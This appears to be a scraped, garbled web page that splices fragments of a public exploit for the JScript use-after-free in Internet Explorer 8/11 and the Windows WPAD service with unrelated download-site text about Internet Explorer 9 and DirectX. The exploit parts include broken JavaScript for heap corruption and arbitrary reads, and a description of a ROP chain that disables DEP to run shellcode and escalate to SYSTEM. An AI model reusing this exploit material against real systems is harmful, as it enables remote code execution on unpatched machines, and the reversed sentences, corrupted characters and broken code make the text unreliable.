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Return (MutableVar.length > 15) & 0xff // Shift to align and get the byte. ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)) // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) NextPtrLow & 0xffff, (NextPtrLow > 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh > 16) & 0xffff) SortArray.sort(GlitchedComparator) įor(var i = 0 i > 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh > 16) & 0xffff,

This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. There is a difference between the stack size between WPAD and Internet Explorer. VarSpray = new Array() // Erase references to sprayed vars within GcBlocks R9 = Leaked address of BSTR to hold out param NTDLL.DLL!NtContinue -> RIP = | MOV RSP, R11 RET Through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap)Īnd a dynamically resolved stack pivot ROP gadget. On a user defined shellcode stored within a BSTR on the heap. Ultimately the exploit aims to use KERNE元2.DLL!VirtualProtect to disable DEP References in the runtime script is then used for arbitrary read (via BSTR) Whether you use a browser like Firefox, you probably used IE in the past. Control of the memory of VAR structs with active JS var 18702 Size 16.88 MB Works under: Windows XP English Microsoft Review Screenshots Comments Finding the right web browser can be challenging, but Internet Explorer 8 comes with many of the features you want in one convenient package. The UAF is a result of two untracked variables passed to a comparator for theĪrray.sort method, which can then be used to reference VAR structs withinĪllocated GcBlock regions which can subsequently be freed via garbageĬollection. Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in Notably, this exploit does not contain bypasses for It uses dynamic ROP chain creation for its RIP This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11Ħ4-bit as well as the WPAD service on Windows 7 and 8.1 圆4. |_| |_| | WPAD sandbox escape | -> | svchost.exe | | firefox.exe | -> | svchost.exe | -> | spoolsv.exe | Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain # Original (IE-only/Windows 7-only) exploit credits: maxpl0it # Tested on: Windows 7 圆4, Windows 8.1 圆4 # Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 圆4

Internet Explorer has retired and is officially out of support as of June 15. CloseDirectX End-User Runtime Web Installer. Select Language: Download DirectX End-User Runtime Web Installer. Important Selecting a language below will dynamically change the complete page content to that language. IE9 is back, better than ever.Internet Explorer 9 wants to be a weel-known web browser again.Change Mirror Download # Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free Internet Explorer 11 (64-bit) for Windows 7 ONLY. It's a mix of all those good features we can find on other web browsers like Chrome, Firefox or Opera.

in short,Microsoft has seen the advantages of other web browsers and has decided to change its point of view. Now it offers one very similar to he one we find in Firefox.Īnew tab system, someting similar to Speed Dial. This new IE9offers the posibility to add websites to Windows taskbar,very similar to web applications by Chrome. Internet Explorer 9 also breaks XP limits, because it's only compatible with the recent versions of windows to ensure optimum performance. It is the resposibility of a new Javascript engine and a faster and more powerful renderization to lead this new IE to be among the best web browsers again. In this new version, Microsoft wants to end up with web standards compatibility problems and it supports for HTML5 and CSS3. After having viewed how all competitors have renewed their look and feel and engines and are now getting better and better, Microsoft has decided to update Internet Explorer.